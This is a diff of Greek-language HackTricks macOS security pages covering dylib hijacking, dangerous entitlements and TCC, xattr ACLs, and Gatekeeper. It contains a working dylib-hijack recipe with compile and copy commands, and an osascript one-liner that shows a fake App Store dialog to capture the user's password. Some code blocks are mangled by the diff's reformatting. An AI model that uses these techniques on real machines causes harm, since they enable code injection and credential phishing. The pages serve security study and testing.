* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||||
|
|
||||||
|
Ωστόσο, η πρώτη δεν υπάρχει:
|
||||||
|
```bash
|
||||||
|
pwd
|
||||||
|
/Applications/VulnDyld.app
|
||||||
|
|
||||||
|
find ./ -name lib.dylib
|
||||||
|
./Contents/Resources/lib2/lib.dylib
|
||||||
|
```
|
||||||
|
Έτσι, είναι δυνατόν να το αποκτήσουμε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με την νόμιμη βιβλιοθήκη, επανεξάγοντάς την. Και θυμηθείτε να την μεταγλωτίσετε με τις αναμενόμενες εκδόσεις:
|
||||||
|
|
||||||
|
{% code title="lib.m" %}
|
||||||
|
```objectivec
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
__attribute__((constructor))
|
||||||
|
void custom(int argc, const char **argv) {
|
||||||
|
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Το μεταγλωττίζουμε:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||||
|
# Note the versions and the reexport
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Η διαδρομή επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετική με τον φορτωτή, ας την αλλάξουμε σε απόλυτη διαδρομή για τη βιβλιοθήκη που θέλουμε να εξαγάγουμε:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
#Check relative
|
||||||
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||||
|
cmd LC_REEXPORT_DYLIB
|
||||||
|
cmdsize 48
|
||||||
|
name @rpath/libjli.dylib (offset 24)
|
||||||
|
|
||||||
|
#Change the location of the library absolute to absolute path
|
||||||
|
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||||||
|
|
||||||
|
# Check again
|
||||||
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||||
|
cmd LC_REEXPORT_DYLIB
|
||||||
|
cmdsize 128
|
||||||
|
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Τέλος, απλά αντιγράψτε το στην **καταχωρημένη τοποθεσία**:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Και **εκτελέστε** το δυαδικό αρχείο και ελέγξτε αν η **βιβλιοθήκη φορτώθηκε**:
|
||||||
|
|
||||||
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||||
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||||
|
</strong>Usage: [...]
|
||||||
|
</code></pre>
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Μια καλή ανάλυση σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τα δικαιώματα της κάμερας του Telegram μπορεί να βρεθεί στο [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Μεγαλύτερη Κλίμακα
|
||||||
|
|
||||||
|
Εάν σκοπεύετε να προσπαθήσετε να εισαγάγετε βιβλιοθήκες σε αναπάντεχα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να διαπιστώσετε πότε φορτώνεται η βιβλιοθήκη μέσα σε ένα διεργασία (σε αυτήν την περίπτωση αφαιρέστε την printf και την εκτέλεση `/bin/bash`).
|
||||||
|
```bash
|
||||||
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,4 +1,4 @@
|
||||||
# Επικίνδυνα Entitlements & Άδειες TCC στο macOS
|
# macOS Dangerous Entitlements & TCC perms
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -30,11 +30,11 @@
|
||||||
|
|
||||||
### **`com.apple.system-task-ports` (προηγουμένως ονομαζόμενο `task_for_pid-allow`)**
|
### **`com.apple.system-task-ports` (προηγουμένως ονομαζόμενο `task_for_pid-allow`)**
|
||||||
|
|
||||||
Αυτό το entitlement επιτρέπει την ανάκτηση της **task port για οποιηδήποτε** διεργασία, εκτός από τον πυρήνα. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
Αυτό το entitlement επιτρέπει την ανάκτηση της **task port για οποιηδήποτε** διεργασία, εκτός από τον πυρήνα. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||||
|
|
||||||
### `com.apple.security.get-task-allow`
|
### `com.apple.security.get-task-allow`
|
||||||
|
|
||||||
Αυτό το entitlement επιτρέπει σε άλλες διεργασίες με το entitlement **`com.apple.security.cs.debugger`** να ανακτήσουν την task port της διεργασίας που εκτελείται από το δυαδικό με αυτό το entitlement και να **ενσωματώσουν κώδικα σε αυτήν**. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
Αυτό το entitlement επιτρέπει σε άλλες διεργασίες με το entitlement **`com.apple.security.cs.debugger`** να ανακτήσουν την task port της διεργασίας που εκτελείται από το δυαδικό με αυτό το entitlement και να **ενσωματώσουν κώδικα σε αυτήν**. Ελέγξτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||||
|
|
||||||
### `com.apple.security.cs.debugger`
|
### `com.apple.security.cs.debugger`
|
||||||
|
|
||||||
|
@ -88,6 +88,7 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
|
||||||
### `keychain-access-groups`
|
### `keychain-access-groups`
|
||||||
|
|
||||||
Αυτό το entitlement καταλογίζει τα **ομάδες keychain** στις οποίες έχει πρόσβαση η εφαρμογή:
|
Αυτό το entitlement καταλογίζει τα **ομάδες keychain** στις οποίες έχει πρόσβαση η εφαρμογή:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<key>keychain-access-groups</key>
|
<key>keychain-access-groups</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -98,6 +99,7 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
|
||||||
<string>IMCore</string>
|
<string>IMCore</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
|
|
||||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
Παρέχει δικαιώματα **Πλήρης Πρόσβαση Δίσκου**, ένα από τα υψηλότερα δικαιώματα TCC που μπορεί να έχει κάποιος.
|
Παρέχει δικαιώματα **Πλήρης Πρόσβαση Δίσκου**, ένα από τα υψηλότερα δικαιώματα TCC που μπορεί να έχει κάποιος.
|
||||||
|
@ -107,10 +109,10 @@ TODO: Στην [**αυτή την αναφορά**](https://jhftss.github.io/The
|
||||||
Επιτρέπει στην εφαρμογή να στέλνει συμβάντα σε άλλες εφαρμογές που χρησιμοποιούνται συχνά για **αυτοματοποίηση εργασιών**. Ελέγχοντας άλλες εφαρμογές, μπορεί να καταχραστεί τα δικαιώματα που έχουν χορηγηθεί σε αυτές τις εφαρμογές.
|
Επιτρέπει στην εφαρμογή να στέλνει συμβάντα σε άλλες εφαρμογές που χρησιμοποιούνται συχνά για **αυτοματοποίηση εργασιών**. Ελέγχοντας άλλες εφαρμογές, μπορεί να καταχραστεί τα δικαιώματα που έχουν χορηγηθεί σε αυτές τις εφαρμογές.
|
||||||
|
|
||||||
Όπως να τις κάνει να ζητήσουν από τον χρήστη τον κωδικό πρόσβασής του:
|
Όπως να τις κάνει να ζητήσουν από τον χρήστη τον κωδικό πρόσβασής του:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
Ή να τους κάνει να εκτελέσουν **αυθαίρετες ενέργειες**.
|
Ή να τους κάνει να εκτελέσουν **αυθαίρετες ενέργειες**.
|
||||||
|
|
||||||
|
@ -167,12 +169,14 @@ TODO
|
||||||
### `kTCCServiceAll`
|
### `kTCCServiceAll`
|
||||||
|
|
||||||
Σύμφωνα με αυτήν την ανάρτηση στο blog, αυτή η άδεια TCC συνήθως βρίσκεται στη μορφή:
|
Σύμφωνα με αυτήν την ανάρτηση στο blog, αυτή η άδεια TCC συνήθως βρίσκεται στη μορφή:
|
||||||
|
|
||||||
```
|
```
|
||||||
[Key] com.apple.private.tcc.allow-prompting
|
[Key] com.apple.private.tcc.allow-prompting
|
||||||
[Value]
|
[Value]
|
||||||
[Array]
|
[Array]
|
||||||
[String] kTCCServiceAll
|
[String] kTCCServiceAll
|
||||||
```
|
```
|
||||||
|
|
||||||
Να επιτρέπεται στη διαδικασία να **ζητήσει όλες τις άδειες TCC**.
|
Να επιτρέπεται στη διαδικασία να **ζητήσει όλες τις άδειες TCC**.
|
||||||
|
|
||||||
### **`kTCCServicePostEvent`**
|
### **`kTCCServicePostEvent`**
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Επιπλέον πληροφορίες για τα xattr-acls στο macOS
|
# macOS xattr-acls extra stuff
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,21 +9,16 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```bash
|
|
||||||
rm -rf /tmp/test*
|
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||||
echo test >/tmp/test
|
|
||||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
|
||||||
./get_acls test
|
|
||||||
ACL for test:
|
|
||||||
!#acl 1
|
|
||||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
|
||||||
|
|
||||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||||
```
|
|
||||||
|
````
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Κώδικας της συνάρτησης get_acls</summary>
|
<summary>Κώδικας της συνάρτησης get_acls</summary>
|
||||||
|
@ -66,103 +61,47 @@ acl_free(acl);
|
||||||
acl_free(acl_text);
|
acl_free(acl_text);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
````
|
||||||
</details>
|
|
||||||
```bash
|
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
|
||||||
mkdir start
|
|
||||||
mkdir start/protected
|
|
||||||
./set_xattr start/protected
|
|
||||||
echo something > start/protected/something
|
|
||||||
```
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Κώδικας της set_xattr</summary>
|
<summary>Κώδικας της set_xattr</summary>
|
||||||
```c
|
|
||||||
// gcc -o set_xattr set_xattr.c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <sys/xattr.h>
|
|
||||||
#include <sys/acl.h>
|
|
||||||
|
|
||||||
|
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||||
|
|
||||||
void print_xattrs(const char *filepath) {
|
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
|
||||||
if (buflen < 0) {
|
|
||||||
perror("listxattr");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
char *buf = malloc(buflen);
|
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||||
if (buf == NULL) {
|
|
||||||
perror("malloc");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||||
if (buflen < 0) {
|
|
||||||
perror("listxattr");
|
|
||||||
free(buf);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("All current extended attributes for %s:\n", filepath);
|
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
|
||||||
printf("%s: ", name);
|
|
||||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
|
||||||
if (valuelen < 0) {
|
|
||||||
perror("getxattr");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
char *value = malloc(valuelen + 1);
|
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||||
if (value == NULL) {
|
|
||||||
perror("malloc");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||||
if (valuelen < 0) {
|
|
||||||
perror("getxattr");
|
|
||||||
free(value);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
value[valuelen] = '\0'; // Null-terminate the value
|
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||||
printf("%s\n", value);
|
|
||||||
free(value);
|
|
||||||
}
|
|
||||||
|
|
||||||
free(buf);
|
free(buf); }
|
||||||
}
|
|
||||||
|
|
||||||
|
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||||
|
|
||||||
int main(int argc, char *argv[]) {
|
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||||
if (argc != 2) {
|
|
||||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||||
const char *filepath = argv[1];
|
|
||||||
|
|
||||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
print\_xattrs(filepath);
|
||||||
if (result == 0) {
|
|
||||||
printf("Extended attribute set successfully.\n\n");
|
|
||||||
} else {
|
|
||||||
perror("setxattr");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
print_xattrs(filepath);
|
return 0; }
|
||||||
|
|
||||||
return 0;
|
````
|
||||||
}
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Create appledoublefile with the xattr entitlement
|
# Create appledoublefile with the xattr entitlement
|
||||||
ditto -c -k start protected.zip
|
ditto -c -k start protected.zip
|
||||||
|
@ -176,23 +115,10 @@ rm -rf protected.zip
|
||||||
zip -r protected.zip protected ._protected
|
zip -r protected.zip protected ._protected
|
||||||
rm -rf protected
|
rm -rf protected
|
||||||
rm ._*
|
rm ._*
|
||||||
```
|
````
|
||||||
{% endcode %}
|
|
||||||
```bash
|
|
||||||
# Check if it worked
|
|
||||||
ditto -x -k --rsrc protected.zip .
|
|
||||||
xattr -l protected
|
|
||||||
```
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Gatekeeper / Καραντίνα / XProtect
|
# macOS Gatekeeper / Quarantine / XProtect
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -31,6 +31,7 @@
|
||||||
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί συσχετίζεται με ένα **πιστοποιητικό που η Apple εκδίδει στον προγραμματιστή** όταν εγγράφεται στο Apple Developer Program. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού hash όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του hash με το ιδιωτικό κλειδί του προγραμματιστή.
|
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί συσχετίζεται με ένα **πιστοποιητικό που η Apple εκδίδει στον προγραμματιστή** όταν εγγράφεται στο Apple Developer Program. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού hash όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του hash με το ιδιωτικό κλειδί του προγραμματιστή.
|
||||||
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, που περιέχει το αντίστοιχο δημόσιο κλειδί.
|
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, που περιέχει το αντίστοιχο δημόσιο κλειδί.
|
||||||
3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτό με το αποκρυπτογραφημένο hash. Εά
|
3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτό με το αποκρυπτογραφημένο hash. Εά
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get signer
|
# Get signer
|
||||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||||
|
@ -47,6 +48,7 @@ spctl --assess --verbose /Applications/Safari.app
|
||||||
# Sign a binary
|
# Sign a binary
|
||||||
codesign -s <cert-name-keychain> toolsdemo
|
codesign -s <cert-name-keychain> toolsdemo
|
||||||
```
|
```
|
||||||
|
|
||||||
### Επικύρωση
|
### Επικύρωση
|
||||||
|
|
||||||
